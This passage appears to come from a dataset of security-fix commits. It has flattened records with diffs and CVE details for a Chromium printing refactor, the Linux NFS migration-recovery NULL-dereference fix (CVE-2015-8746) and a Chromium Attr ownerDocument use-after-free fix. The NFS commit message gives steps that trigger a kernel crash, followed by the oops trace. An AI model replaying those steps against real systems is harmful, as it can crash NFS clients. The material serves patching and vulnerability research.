ChromeMockRenderThread::print_preview_pages_remaining() const {\n return print_preview_pages_remaining_;\n }"}<_**next**_>{"sha": "5db88263e53e0fdde180788c800b06e3e570cd0f", "filename": "chrome/renderer/chrome_mock_render_thread.h", "status": "modified", "additions": 10, "deletions": 9, "changes": 19, "blob_url": "https://github.com/chromium/chromium/blob/116d0963cadfbf55ef2ec3d13781987c4d80517a/chrome/renderer/chrome_mock_render_thread.h", "raw_url": "https://github.com/chromium/chromium/raw/116d0963cadfbf55ef2ec3d13781987c4d80517a/chrome/renderer/chrome_mock_render_thread.h", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/chrome/renderer/chrome_mock_render_thread.h?ref=116d0963cadfbf55ef2ec3d13781987c4d80517a", "patch": "@@ -8,16 +8,16 @@\n #include <string>\n \n #include \"base/compiler_specific.h\"\n-#include \"chrome/common/extensions/extension_set.h\"\n-#include \"chrome/renderer/mock_printer.h\"\n #include \"content/public/test/mock_render_thread.h\"\n \n namespace base {\n class DictionaryValue;\n }\n \n+class MockPrinter;\n struct PrintHostMsg_DidGetPreviewPageCount_Params;\n struct PrintHostMsg_DidPreviewPage_Params;\n+struct PrintHostMsg_DidPrintPage_Params;\n struct PrintHostMsg_ScriptedPrint_Params;\n struct PrintMsg_PrintPages_Params;\n struct PrintMsg_Print_Params;\n@@ -33,7 +33,7 @@ class ChromeMockRenderThread : public content::MockRenderThread {\n // The following functions are called by the test itself.\n \n // Returns the pseudo-printer instance.\n- MockPrinter* printer() const { return printer_.get(); }\n+ MockPrinter* printer();\n \n // Call with |response| set to true if the user wants to print.\n // False if the user decides to cancel.\n@@ -43,18 +43,19 @@ class ChromeMockRenderThread : public content::MockRenderThread {\n void set_print_preview_cancel_page_number(int page);\n \n // Get the number of pages to generate for print preview.\n- int print_preview_pages_remaining();\n+ int print_preview_pages_remaining() const;\n \n private:\n // Overrides base class implementation to add custom handling for\n // print and extensions.\n virtual bool OnMessageReceived(const IPC::Message& msg) OVERRIDE;\n \n // The callee expects to be returned a valid channel_id.\n- void OnMsgOpenChannelToExtension(\n- int routing_id, const std::string& extension_id,\n- const std::string& source_extension_id,\n- const std::string& target_extension_id, int* port_id);\n+ void OnMsgOpenChannelToExtension(int routing_id,\n+ const std::string& extension_id,\n+ const std::string& source_extension_id,\n+ const std::string& target_extension_id,\n+ int* port_id);\n \n #if defined(OS_CHROMEOS)\n void OnAllocateTempFileForPrinting(base::FileDescriptor* renderer_fd,\n@@ -74,7 +75,7 @@ class ChromeMockRenderThread : public content::MockRenderThread {\n void OnDidGetPreviewPageCount(\n const PrintHostMsg_DidGetPreviewPageCount_Params& params);\n void OnDidPreviewPage(const PrintHostMsg_DidPreviewPage_Params& params);\n- void OnCheckForCancel(const std::string& preview_ui_addr,\n+ void OnCheckForCancel(int32 preview_ui_id,\n int preview_request_id,\n bool* cancel);\n "}<_**next**_>{"sha": "0e03cc0143b3e07499aae44b849c8a8df021fd38", "filename": "chrome/renderer/print_web_view_helper.cc", "status": "modified", "additions": 7, "deletions": 7, "changes": 14, "blob_url": "https://github.com/chromium/chromium/blob/116d0963cadfbf55ef2ec3d13781987c4d80517a/chrome/renderer/print_web_view_helper.cc", "raw_url": "https://github.com/chromium/chromium/raw/116d0963cadfbf55ef2ec3d13781987c4d80517a/chrome/renderer/print_web_view_helper.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/chrome/renderer/print_web_view_helper.cc?ref=116d0963cadfbf55ef2ec3d13781987c4d80517a", "patch": "@@ -1437,8 +1437,8 @@ bool PrintWebViewHelper::UpdatePrintSettings(\n \n if (!print_for_preview_) {\n // Validate expected print preview settings.\n- if (!job_settings->GetString(printing::kPreviewUIAddr,\n- &(settings.params.preview_ui_addr)) ||\n+ if (!job_settings->GetInteger(printing::kPreviewUIID,\n+ &(settings.params.preview_ui_id)) ||\n !job_settings->GetInteger(printing::kPreviewRequestID,\n &(settings.params.preview_request_id)) ||\n !job_settings->GetBoolean(printing::kIsFirstRequest,\n@@ -1608,12 +1608,12 @@ void PrintWebViewHelper::RequestPrintPreview(PrintPreviewRequestType type) {\n }\n \n bool PrintWebViewHelper::CheckForCancel() {\n+ const PrintMsg_Print_Params& print_params = print_pages_params_->params;\n bool cancel = false;\n- Send(new PrintHostMsg_CheckForCancel(\n- routing_id(),\n- print_pages_params_->params.preview_ui_addr,\n- print_pages_params_->params.preview_request_id,\n- &cancel));\n+ Send(new PrintHostMsg_CheckForCancel(routing_id(),\n+ print_params.preview_ui_id,\n+ print_params.preview_request_id,\n+ &cancel));\n if (cancel)\n notify_browser_of_print_failure_ = false;\n return cancel;"}<_**next**_>{"sha": "c494634a3da72de82522e6e4d27cc50664bfc545", "filename": "chrome/renderer/print_web_view_helper_browsertest.cc", "status": "modified", "additions": 3, "deletions": 1, "changes": 4, "blob_url": "https://github.com/chromium/chromium/blob/116d0963cadfbf55ef2ec3d13781987c4d80517a/chrome/renderer/print_web_view_helper_browsertest.cc", "raw_url": "https://github.com/chromium/chromium/raw/116d0963cadfbf55ef2ec3d13781987c4d80517a/chrome/renderer/print_web_view_helper_browsertest.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/chrome/renderer/print_web_view_helper_browsertest.cc?ref=116d0963cadfbf55ef2ec3d13781987c4d80517a", "patch": "@@ -2,8 +2,10 @@\n // Use of this source code is governed by a BSD-style license that can be\n // found in the LICENSE file.\n \n+#include \"base/command_line.h\"\n #include \"chrome/common/chrome_switches.h\"\n #include \"chrome/common/print_messages.h\"\n+#include \"chrome/renderer/mock_printer.h\"\n #include \"chrome/renderer/print_web_view_helper.h\"\n #include \"chrome/test/base/chrome_render_view_test.h\"\n #include \"content/public/renderer/render_view.h\"\n@@ -70,7 +72,7 @@ void CreatePrintSettingsDictionary(DictionaryValue* dict) {\n dict->SetInteger(printing::kSettingDuplexMode, printing::SIMPLEX);\n dict->SetInteger(printing::kSettingCopies, 1);\n dict->SetString(printing::kSettingDeviceName, \"dummy\");\n- dict->SetString(printing::kPreviewUIAddr, \"0xb33fbeef\");\n+ dict->SetInteger(printing::kPreviewUIID, 4);\n dict->SetInteger(printing::kPreviewRequestID, 12345);\n dict->SetBoolean(printing::kIsFirstRequest, true);\n dict->SetInteger(printing::kSettingMarginsType, printing::DEFAULT_MARGINS);"}<_**next**_>{"sha": "a93da561501a0764b42925549582fdc9a6509b30", "filename": "printing/print_job_constants.cc", "status": "modified", "additions": 1, "deletions": 1, "changes": 2, "blob_url": "https://github.com/chromium/chromium/blob/116d0963cadfbf55ef2ec3d13781987c4d80517a/printing/print_job_constants.cc", "raw_url": "https://github.com/chromium/chromium/raw/116d0963cadfbf55ef2ec3d13781987c4d80517a/printing/print_job_constants.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/printing/print_job_constants.cc?ref=116d0963cadfbf55ef2ec3d13781987c4d80517a", "patch": "@@ -13,7 +13,7 @@ const char kIsFirstRequest[] = \"isFirstRequest\";\n const char kPreviewRequestID[] = \"requestID\";\n \n // Unique ID to identify a print preview UI.\n-const char kPreviewUIAddr[] = \"previewUIAddr\";\n+const char kPreviewUIID[] = \"previewUIID\";\n \n // Print using cloud print: true if selected, false if not.\n const char kSettingCloudPrintId[] = \"cloudPrintID\";"}<_**next**_>{"sha": "d9a6006edfd11f84af4bdace4d56d348a36aa748", "filename": "printing/print_job_constants.h", "status": "modified", "additions": 3, "deletions": 3, "changes": 6, "blob_url": "https://github.com/chromium/chromium/blob/116d0963cadfbf55ef2ec3d13781987c4d80517a/printing/print_job_constants.h", "raw_url": "https://github.com/chromium/chromium/raw/116d0963cadfbf55ef2ec3d13781987c4d80517a/printing/print_job_constants.h", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/printing/print_job_constants.h?ref=116d0963cadfbf55ef2ec3d13781987c4d80517a", "patch": "@@ -12,7 +12,7 @@ namespace printing {\n \n PRINTING_EXPORT extern const char kIsFirstRequest[];\n PRINTING_EXPORT extern const char kPreviewRequestID[];\n-PRINTING_EXPORT extern const char kPreviewUIAddr[];\n+PRINTING_EXPORT extern const char kPreviewUIID[];\n PRINTING_EXPORT extern const char kSettingCloudPrintId[];\n PRINTING_EXPORT extern const char kSettingCloudPrintDialog[];\n PRINTING_EXPORT extern const char kSettingCollate[];\n@@ -116,8 +116,8 @@ enum ColorModels {\n RGBA,\n COLORMODE_COLOR, // Used in samsung printer ppds.\n COLORMODE_MONOCHROME, // Used in samsung printer ppds.\n- HP_COLOR_COLOR, // Used in HP color printer ppds.\n- HP_COLOR_BLACK, // Used in HP color printer ppds.\n+ HP_COLOR_COLOR, // Used in HP color printer ppds.\n+ HP_COLOR_BLACK, // Used in HP color printer ppds.\n PRINTOUTMODE_NORMAL, // Used in foomatic ppds.\n PRINTOUTMODE_NORMAL_GRAY, // Used in foomatic ppds.\n PROCESSCOLORMODEL_CMYK, // Used in canon printer ppds."}
|
void ChromeMockRenderThread::OnTempFileForPrintingWritten(int render_view_id,
int browser_fd) {
close(browser_fd);
}
|
void ChromeMockRenderThread::OnTempFileForPrintingWritten(int render_view_id,
int browser_fd) {
close(browser_fd);
}
|
C
| null | null | null |
@@ -4,20 +4,23 @@
#include "chrome/renderer/chrome_mock_render_thread.h"
-#include <fcntl.h>
+#include <vector>
-#include "base/file_util.h"
-#include "base/process_util.h"
+#include "base/values.h"
#include "chrome/common/extensions/extension_messages.h"
#include "chrome/common/print_messages.h"
-#include "chrome/common/render_messages.h"
-#include "chrome/common/url_constants.h"
-#include "ipc/ipc_message_utils.h"
+#include "chrome/renderer/mock_printer.h"
#include "ipc/ipc_sync_message.h"
#include "printing/print_job_constants.h"
#include "printing/page_range.h"
#include "testing/gtest/include/gtest/gtest.h"
+#if defined(OS_CHROMEOS)
+#include <fcntl.h>
+
+#include "base/file_util.h"
+#endif
+
ChromeMockRenderThread::ChromeMockRenderThread()
: printer_(new MockPrinter),
print_dialog_user_response_(true),
@@ -64,9 +67,11 @@ bool ChromeMockRenderThread::OnMessageReceived(const IPC::Message& msg) {
}
void ChromeMockRenderThread::OnMsgOpenChannelToExtension(
- int routing_id, const std::string& source_extension_id,
+ int routing_id,
+ const std::string& source_extension_id,
const std::string& target_extension_id,
- const std::string& channel_name, int* port_id) {
+ const std::string& channel_name,
+ int* port_id) {
*port_id = 0;
}
@@ -93,14 +98,13 @@ void ChromeMockRenderThread::OnTempFileForPrintingWritten(int render_view_id,
void ChromeMockRenderThread::OnGetDefaultPrintSettings(
PrintMsg_Print_Params* params) {
- if (printer_.get())
- printer_->GetDefaultPrintSettings(params);
+ printer_->GetDefaultPrintSettings(params);
}
void ChromeMockRenderThread::OnScriptedPrint(
const PrintHostMsg_ScriptedPrint_Params& params,
PrintMsg_PrintPages_Params* settings) {
- if (print_dialog_user_response_ && printer_.get()) {
+ if (print_dialog_user_response_) {
printer_->ScriptedPrint(params.cookie,
params.expected_pages_count,
params.has_selection,
@@ -110,14 +114,12 @@ void ChromeMockRenderThread::OnScriptedPrint(
void ChromeMockRenderThread::OnDidGetPrintedPagesCount(
int cookie, int number_pages) {
- if (printer_.get())
- printer_->SetPrintedPagesCount(cookie, number_pages);
+ printer_->SetPrintedPagesCount(cookie, number_pages);
}
void ChromeMockRenderThread::OnDidPrintPage(
const PrintHostMsg_DidPrintPage_Params& params) {
- if (printer_.get())
- printer_->PrintPage(params);
+ printer_->PrintPage(params);
}
void ChromeMockRenderThread::OnDidGetPreviewPageCount(
@@ -127,14 +129,13 @@ void ChromeMockRenderThread::OnDidGetPreviewPageCount(
void ChromeMockRenderThread::OnDidPreviewPage(
const PrintHostMsg_DidPreviewPage_Params& params) {
- DCHECK(params.page_number >= printing::FIRST_PAGE_INDEX);
+ DCHECK_GE(params.page_number, printing::FIRST_PAGE_INDEX);
print_preview_pages_remaining_--;
}
-void ChromeMockRenderThread::OnCheckForCancel(
- const std::string& preview_ui_addr,
- int preview_request_id,
- bool* cancel) {
+void ChromeMockRenderThread::OnCheckForCancel(int32 preview_ui_id,
+ int preview_request_id,
+ bool* cancel) {
*cancel =
(print_preview_pages_remaining_ == print_preview_cancel_page_number_);
}
@@ -155,36 +156,38 @@ void ChromeMockRenderThread::OnUpdatePrintSettings(
!job_settings.GetString(printing::kSettingDeviceName, &dummy_string) ||
!job_settings.GetInteger(printing::kSettingDuplexMode, NULL) ||
!job_settings.GetInteger(printing::kSettingCopies, NULL) ||
- !job_settings.GetString(printing::kPreviewUIAddr, &dummy_string) ||
+ !job_settings.GetInteger(printing::kPreviewUIID, NULL) ||
!job_settings.GetInteger(printing::kPreviewRequestID, NULL) ||
!job_settings.GetInteger(printing::kSettingMarginsType, &margins_type)) {
return;
}
// Just return the default settings.
- if (printer_.get()) {
- const ListValue* page_range_array;
- printing::PageRanges new_ranges;
- if (job_settings.GetList(printing::kSettingPageRange, &page_range_array)) {
- for (size_t index = 0; index < page_range_array->GetSize(); ++index) {
- const base::DictionaryValue* dict;
- if (!page_range_array->GetDictionary(index, &dict))
- continue;
- printing::PageRange range;
- if (!dict->GetInteger(printing::kSettingPageRangeFrom, &range.from) ||
- !dict->GetInteger(printing::kSettingPageRangeTo, &range.to)) {
- continue;
- }
- // Page numbers are 1-based in the dictionary.
- // Page numbers are 0-based for the printing context.
- range.from--;
- range.to--;
- new_ranges.push_back(range);
+ const ListValue* page_range_array;
+ printing::PageRanges new_ranges;
+ if (job_settings.GetList(printing::kSettingPageRange, &page_range_array)) {
+ for (size_t index = 0; index < page_range_array->GetSize(); ++index) {
+ const base::DictionaryValue* dict;
+ if (!page_range_array->GetDictionary(index, &dict))
+ continue;
+ printing::PageRange range;
+ if (!dict->GetInteger(printing::kSettingPageRangeFrom, &range.from) ||
+ !dict->GetInteger(printing::kSettingPageRangeTo, &range.to)) {
+ continue;
}
+ // Page numbers are 1-based in the dictionary.
+ // Page numbers are 0-based for the printing context.
+ range.from--;
+ range.to--;
+ new_ranges.push_back(range);
}
- std::vector<int> pages(printing::PageRange::GetPages(new_ranges));
- printer_->UpdateSettings(document_cookie, params, pages, margins_type);
}
+ std::vector<int> pages(printing::PageRange::GetPages(new_ranges));
+ printer_->UpdateSettings(document_cookie, params, pages, margins_type);
+}
+
+MockPrinter* ChromeMockRenderThread::printer() {
+ return printer_.get();
}
void ChromeMockRenderThread::set_print_dialog_user_response(bool response) {
@@ -195,6 +198,6 @@ void ChromeMockRenderThread::set_print_preview_cancel_page_number(int page) {
print_preview_cancel_page_number_ = page;
}
-int ChromeMockRenderThread::print_preview_pages_remaining() {
+int ChromeMockRenderThread::print_preview_pages_remaining() const {
return print_preview_pages_remaining_;
}
|
Chrome
|
116d0963cadfbf55ef2ec3d13781987c4d80517a
|
0ccc7e3af6db2fc2ce09ebcd780dace294adeb61
| 0
|
void ChromeMockRenderThread::OnTempFileForPrintingWritten(int render_view_id,
int browser_fd) {
close(browser_fd);
}
|
57,136
| null |
Remote
|
Not required
|
Partial
|
CVE-2015-8746
|
https://www.cvedetails.com/cve/CVE-2015-8746/
| null |
Low
| null | null | null |
2016-05-02
| 5
|
fs/nfs/nfs4proc.c in the NFS client in the Linux kernel before 4.2.2 does not properly initialize memory for migration recovery operations, which allows remote NFS servers to cause a denial of service (NULL pointer dereference and panic) via crafted network traffic.
|
2018-01-04
|
DoS
| 0
|
https://github.com/torvalds/linux/commit/18e3b739fdc826481c6a1335ce0c5b19b3d415da
|
18e3b739fdc826481c6a1335ce0c5b19b3d415da
|
NFS: Fix a NULL pointer dereference of migration recovery ops for v4.2 client
---Steps to Reproduce--
<nfs-server>
# cat /etc/exports
/nfs/referal *(rw,insecure,no_subtree_check,no_root_squash,crossmnt)
/nfs/old *(ro,insecure,subtree_check,root_squash,crossmnt)
<nfs-client>
# mount -t nfs nfs-server:/nfs/ /mnt/
# ll /mnt/*/
<nfs-server>
# cat /etc/exports
/nfs/referal *(rw,insecure,no_subtree_check,no_root_squash,crossmnt,refer=/nfs/old/@nfs-server)
/nfs/old *(ro,insecure,subtree_check,root_squash,crossmnt)
# service nfs restart
<nfs-client>
# ll /mnt/*/ --->>>>> oops here
[ 5123.102925] BUG: unable to handle kernel NULL pointer dereference at (null)
[ 5123.103363] IP: [<ffffffffa03ed38b>] nfs4_proc_get_locations+0x9b/0x120 [nfsv4]
[ 5123.103752] PGD 587b9067 PUD 3cbf5067 PMD 0
[ 5123.104131] Oops: 0000 [#1]
[ 5123.104529] Modules linked in: nfsv4(OE) nfs(OE) fscache(E) nfsd(OE) xfs libcrc32c iscsi_tcp libiscsi_tcp libiscsi scsi_transport_iscsi coretemp crct10dif_pclmul crc32_pclmul crc32c_intel ghash_clmulni_intel ppdev vmw_balloon parport_pc parport i2c_piix4 shpchp auth_rpcgss nfs_acl vmw_vmci lockd grace sunrpc vmwgfx drm_kms_helper ttm drm mptspi serio_raw scsi_transport_spi e1000 mptscsih mptbase ata_generic pata_acpi [last unloaded: nfsd]
[ 5123.105887] CPU: 0 PID: 15853 Comm: ::1-manager Tainted: G OE 4.2.0-rc6+ #214
[ 5123.106358] Hardware name: VMware, Inc. VMware Virtual Platform/440BX Desktop Reference Platform, BIOS 6.00 05/20/2014
[ 5123.106860] task: ffff88007620f300 ti: ffff88005877c000 task.ti: ffff88005877c000
[ 5123.107363] RIP: 0010:[<ffffffffa03ed38b>] [<ffffffffa03ed38b>] nfs4_proc_get_locations+0x9b/0x120 [nfsv4]
[ 5123.107909] RSP: 0018:ffff88005877fdb8 EFLAGS: 00010246
[ 5123.108435] RAX: ffff880053f3bc00 RBX: ffff88006ce6c908 RCX: ffff880053a0d240
[ 5123.108968] RDX: ffffea0000e6d940 RSI: ffff8800399a0000 RDI: ffff88006ce6c908
[ 5123.109503] RBP: ffff88005877fe28 R08: ffffffff81c708a0 R09: 0000000000000000
[ 5123.110045] R10: 00000000000001a2 R11: ffff88003ba7f5c8 R12: ffff880054c55800
[ 5123.110618] R13: 0000000000000000 R14: ffff880053a0d240 R15: ffff880053a0d240
[ 5123.111169] FS: 0000000000000000(0000) GS:ffffffff81c27000(0000) knlGS:0000000000000000
[ 5123.111726] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ 5123.112286] CR2: 0000000000000000 CR3: 0000000054cac000 CR4: 00000000001406f0
[ 5123.112888] Stack:
[ 5123.113458] ffffea0000e6d940 ffff8800399a0000 00000000000167d0 0000000000000000
[ 5123.114049] 0000000000000000 0000000000000000 0000000000000000 00000000a7ec82c6
[ 5123.114662] ffff88005877fe18 ffffea0000e6d940 ffff8800399a0000 ffff880054c55800
[ 5123.115264] Call Trace:
[ 5123.115868] [<ffffffffa03fb44b>] nfs4_try_migration+0xbb/0x220 [nfsv4]
[ 5123.116487] [<ffffffffa03fcb3b>] nfs4_run_state_manager+0x4ab/0x7b0 [nfsv4]
[ 5123.117104] [<ffffffffa03fc690>] ? nfs4_do_reclaim+0x510/0x510 [nfsv4]
[ 5123.117813] [<ffffffff810a4527>] kthread+0xd7/0xf0
[ 5123.118456] [<ffffffff810a4450>] ? kthread_worker_fn+0x160/0x160
[ 5123.119108] [<ffffffff816d9cdf>] ret_from_fork+0x3f/0x70
[ 5123.119723] [<ffffffff810a4450>] ? kthread_worker_fn+0x160/0x160
[ 5123.120329] Code: 4c 8b 6a 58 74 17 eb 52 48 8d 55 a8 89 c6 4c 89 e7 e8 4a b5 ff ff 8b 45 b0 85 c0 74 1c 4c 89 f9 48 8b 55 90 48 8b 75 98 48 89 df <41> ff 55 00 3d e8 d8 ff ff 41 89 c6 74 cf 48 8b 4d c8 65 48 33
[ 5123.121643] RIP [<ffffffffa03ed38b>] nfs4_proc_get_locations+0x9b/0x120 [nfsv4]
[ 5123.122308] RSP <ffff88005877fdb8>
[ 5123.122942] CR2: 0000000000000000
Fixes: ec011fe847 ("NFS: Introduce a vector of migration recovery ops")
Cc: stable@vger.kernel.org # v3.13+
Signed-off-by: Kinglong Mee <kinglongmee@gmail.com>
Signed-off-by: Trond Myklebust <trond.myklebust@primarydata.com>
| 0
|
fs/nfs/nfs4proc.c
|
{"sha": "43bace809be7dfb5c23c893ff3ae0d22b42efffa", "filename": "fs/nfs/nfs4proc.c", "status": "modified", "additions": 1, "deletions": 0, "changes": 1, "blob_url": "https://github.com/torvalds/linux/blob/18e3b739fdc826481c6a1335ce0c5b19b3d415da/fs/nfs/nfs4proc.c", "raw_url": "https://github.com/torvalds/linux/raw/18e3b739fdc826481c6a1335ce0c5b19b3d415da/fs/nfs/nfs4proc.c", "contents_url": "https://api.github.com/repos/torvalds/linux/contents/fs/nfs/nfs4proc.c?ref=18e3b739fdc826481c6a1335ce0c5b19b3d415da", "patch": "@@ -8661,6 +8661,7 @@ static const struct nfs4_minor_version_ops nfs_v4_2_minor_ops = {\n \t.reboot_recovery_ops = &nfs41_reboot_recovery_ops,\n \t.nograce_recovery_ops = &nfs41_nograce_recovery_ops,\n \t.state_renewal_ops = &nfs41_state_renewal_ops,\n+\t.mig_recovery_ops = &nfs41_mig_recovery_ops,\n };\n #endif\n "}
|
nfs4_init_nonuniform_client_string(struct nfs_client *clp)
{
int result;
size_t len;
char *str;
bool retried = false;
if (clp->cl_owner_id != NULL)
return 0;
retry:
rcu_read_lock();
len = 10 + strlen(clp->cl_ipaddr) + 1 +
strlen(rpc_peeraddr2str(clp->cl_rpcclient, RPC_DISPLAY_ADDR)) +
1 +
strlen(rpc_peeraddr2str(clp->cl_rpcclient, RPC_DISPLAY_PROTO)) +
1;
rcu_read_unlock();
if (len > NFS4_OPAQUE_LIMIT + 1)
return -EINVAL;
/*
* Since this string is allocated at mount time, and held until the
* nfs_client is destroyed, we can use GFP_KERNEL here w/o worrying
* about a memory-reclaim deadlock.
*/
str = kmalloc(len, GFP_KERNEL);
if (!str)
return -ENOMEM;
rcu_read_lock();
result = scnprintf(str, len, "Linux NFSv4.0 %s/%s %s",
clp->cl_ipaddr,
rpc_peeraddr2str(clp->cl_rpcclient, RPC_DISPLAY_ADDR),
rpc_peeraddr2str(clp->cl_rpcclient, RPC_DISPLAY_PROTO));
rcu_read_unlock();
/* Did something change? */
if (result >= len) {
kfree(str);
if (retried)
return -EINVAL;
retried = true;
goto retry;
}
clp->cl_owner_id = str;
return 0;
}
|
nfs4_init_nonuniform_client_string(struct nfs_client *clp)
{
int result;
size_t len;
char *str;
bool retried = false;
if (clp->cl_owner_id != NULL)
return 0;
retry:
rcu_read_lock();
len = 10 + strlen(clp->cl_ipaddr) + 1 +
strlen(rpc_peeraddr2str(clp->cl_rpcclient, RPC_DISPLAY_ADDR)) +
1 +
strlen(rpc_peeraddr2str(clp->cl_rpcclient, RPC_DISPLAY_PROTO)) +
1;
rcu_read_unlock();
if (len > NFS4_OPAQUE_LIMIT + 1)
return -EINVAL;
/*
* Since this string is allocated at mount time, and held until the
* nfs_client is destroyed, we can use GFP_KERNEL here w/o worrying
* about a memory-reclaim deadlock.
*/
str = kmalloc(len, GFP_KERNEL);
if (!str)
return -ENOMEM;
rcu_read_lock();
result = scnprintf(str, len, "Linux NFSv4.0 %s/%s %s",
clp->cl_ipaddr,
rpc_peeraddr2str(clp->cl_rpcclient, RPC_DISPLAY_ADDR),
rpc_peeraddr2str(clp->cl_rpcclient, RPC_DISPLAY_PROTO));
rcu_read_unlock();
/* Did something change? */
if (result >= len) {
kfree(str);
if (retried)
return -EINVAL;
retried = true;
goto retry;
}
clp->cl_owner_id = str;
return 0;
}
|
C
| null | null | null |
@@ -8661,6 +8661,7 @@ static const struct nfs4_minor_version_ops nfs_v4_2_minor_ops = {
.reboot_recovery_ops = &nfs41_reboot_recovery_ops,
.nograce_recovery_ops = &nfs41_nograce_recovery_ops,
.state_renewal_ops = &nfs41_state_renewal_ops,
+ .mig_recovery_ops = &nfs41_mig_recovery_ops,
};
#endif
|
linux
|
18e3b739fdc826481c6a1335ce0c5b19b3d415da
|
0847ef88c3c9318d85e92fc42369df0e0190e1ab
| 0
|
nfs4_init_nonuniform_client_string(struct nfs_client *clp)
{
int result;
size_t len;
char *str;
bool retried = false;
if (clp->cl_owner_id != NULL)
return 0;
retry:
rcu_read_lock();
len = 10 + strlen(clp->cl_ipaddr) + 1 +
strlen(rpc_peeraddr2str(clp->cl_rpcclient, RPC_DISPLAY_ADDR)) +
1 +
strlen(rpc_peeraddr2str(clp->cl_rpcclient, RPC_DISPLAY_PROTO)) +
1;
rcu_read_unlock();
if (len > NFS4_OPAQUE_LIMIT + 1)
return -EINVAL;
/*
* Since this string is allocated at mount time, and held until the
* nfs_client is destroyed, we can use GFP_KERNEL here w/o worrying
* about a memory-reclaim deadlock.
*/
str = kmalloc(len, GFP_KERNEL);
if (!str)
return -ENOMEM;
rcu_read_lock();
result = scnprintf(str, len, "Linux NFSv4.0 %s/%s %s",
clp->cl_ipaddr,
rpc_peeraddr2str(clp->cl_rpcclient, RPC_DISPLAY_ADDR),
rpc_peeraddr2str(clp->cl_rpcclient, RPC_DISPLAY_PROTO));
rcu_read_unlock();
/* Did something change? */
if (result >= len) {
kfree(str);
if (retried)
return -EINVAL;
retried = true;
goto retry;
}
clp->cl_owner_id = str;
return 0;
}
|
120,523
| null |
Remote
|
Not required
|
Partial
|
CVE-2013-2884
|
https://www.cvedetails.com/cve/CVE-2013-2884/
|
CWE-399
|
Low
|
Partial
|
Partial
| null |
2013-07-31
| 7.5
|
Use-after-free vulnerability in the DOM implementation in Google Chrome before 28.0.1500.95 allows remote attackers to cause a denial of service or possibly have unspecified other impact via vectors related to improper tracking of which document owns an Attr object.
|
2017-09-18
|
DoS
| 0
|
https://github.com/chromium/chromium/commit/4ac8bc08e3306f38a5ab3e551aef6ad43753579c
|
4ac8bc08e3306f38a5ab3e551aef6ad43753579c
|
Set Attr.ownerDocument in Element#setAttributeNode()
Attr objects can move across documents by setAttributeNode().
So It needs to reset ownerDocument through TreeScopeAdoptr::adoptIfNeeded().
BUG=248950
TEST=set-attribute-node-from-iframe.html
Review URL: https://chromiumcodereview.appspot.com/17583003
git-svn-id: svn://svn.chromium.org/blink/trunk@152938 bbb929c8-8fbe-4397-9dbb-9b2b20218538
| 0
|
third_party/WebKit/Source/core/dom/Element.cpp
|
{"sha": "accc3ae56534fa3669de3bbb2543911df0a20ebd", "filename": "third_party/WebKit/LayoutTests/fast/dom/Attr/set-attribute-node-from-iframe-expected.txt", "status": "added", "additions": 12, "deletions": 0, "changes": 12, "blob_url": "https://github.com/chromium/chromium/blob/4ac8bc08e3306f38a5ab3e551aef6ad43753579c/third_party/WebKit/LayoutTests/fast/dom/Attr/set-attribute-node-from-iframe-expected.txt", "raw_url": "https://github.com/chromium/chromium/raw/4ac8bc08e3306f38a5ab3e551aef6ad43753579c/third_party/WebKit/LayoutTests/fast/dom/Attr/set-attribute-node-from-iframe-expected.txt", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/third_party/WebKit/LayoutTests/fast/dom/Attr/set-attribute-node-from-iframe-expected.txt?ref=4ac8bc08e3306f38a5ab3e551aef6ad43753579c", "patch": "@@ -0,0 +1,12 @@\n+ownerDocument of Attr should be set on setAttributeNode\n+\n+On success, you will see a series of \"PASS\" messages, followed by \"TEST COMPLETE\".\n+\n+\n+PASS attr.ownerDocument is iframeDocument\n+PASS attr.ownerDocument is document\n+PASS attr.ownerDocument is iframeDocument\n+PASS successfullyParsed is true\n+\n+TEST COMPLETE\n+"}<_**next**_>{"sha": "56e87d1d500cf91ba1ef87bc3410039529f5dbb2", "filename": "third_party/WebKit/LayoutTests/fast/dom/Attr/set-attribute-node-from-iframe.html", "status": "added", "additions": 23, "deletions": 0, "changes": 23, "blob_url": "https://github.com/chromium/chromium/blob/4ac8bc08e3306f38a5ab3e551aef6ad43753579c/third_party/WebKit/LayoutTests/fast/dom/Attr/set-attribute-node-from-iframe.html", "raw_url": "https://github.com/chromium/chromium/raw/4ac8bc08e3306f38a5ab3e551aef6ad43753579c/third_party/WebKit/LayoutTests/fast/dom/Attr/set-attribute-node-from-iframe.html", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/third_party/WebKit/LayoutTests/fast/dom/Attr/set-attribute-node-from-iframe.html?ref=4ac8bc08e3306f38a5ab3e551aef6ad43753579c", "patch": "@@ -0,0 +1,23 @@\n+<!DOCTYPE HTML PUBLIC \"-//IETF//DTD HTML//EN\">\n+<html>\n+<head>\n+<script src=\"../../js/resources/js-test-pre.js\"></script>\n+</head>\n+<body>\n+<iframe></iframe>\n+<div id=\"toBeMoved\"></div>\n+<script>\n+description(\"ownerDocument of Attr should be set on setAttributeNode\");\n+elementToBeMoved = document.getElementById(\"toBeMoved\");\n+iframeElement = document.getElementsByTagName(\"iframe\")[0];\n+iframeDocument = iframeElement.contentWindow.document;\n+attr = iframeDocument.createAttribute(\"foo\");\n+shouldBe(\"attr.ownerDocument\", \"iframeDocument\")\n+elementToBeMoved.setAttributeNode(attr);\n+shouldBe(\"attr.ownerDocument\", \"document\")\n+iframeDocument.documentElement.appendChild(elementToBeMoved);\n+shouldBe(\"attr.ownerDocument\", \"iframeDocument\")\n+</script>\n+<script src=\"../../js/resources/js-test-post.js\"></script>\n+</body>\n+</html>"}<_**next**_>{"sha": "5f0e0f66fd2929ef2562836ef10785be0b94c6d3", "filename": "third_party/WebKit/Source/core/dom/Element.cpp", "status": "modified", "additions": 1, "deletions": 0, "changes": 1, "blob_url": "https://github.com/chromium/chromium/blob/4ac8bc08e3306f38a5ab3e551aef6ad43753579c/third_party/WebKit/Source/core/dom/Element.cpp", "raw_url": "https://github.com/chromium/chromium/raw/4ac8bc08e3306f38a5ab3e551aef6ad43753579c/third_party/WebKit/Source/core/dom/Element.cpp", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/third_party/WebKit/Source/core/dom/Element.cpp?ref=4ac8bc08e3306f38a5ab3e551aef6ad43753579c", "patch": "@@ 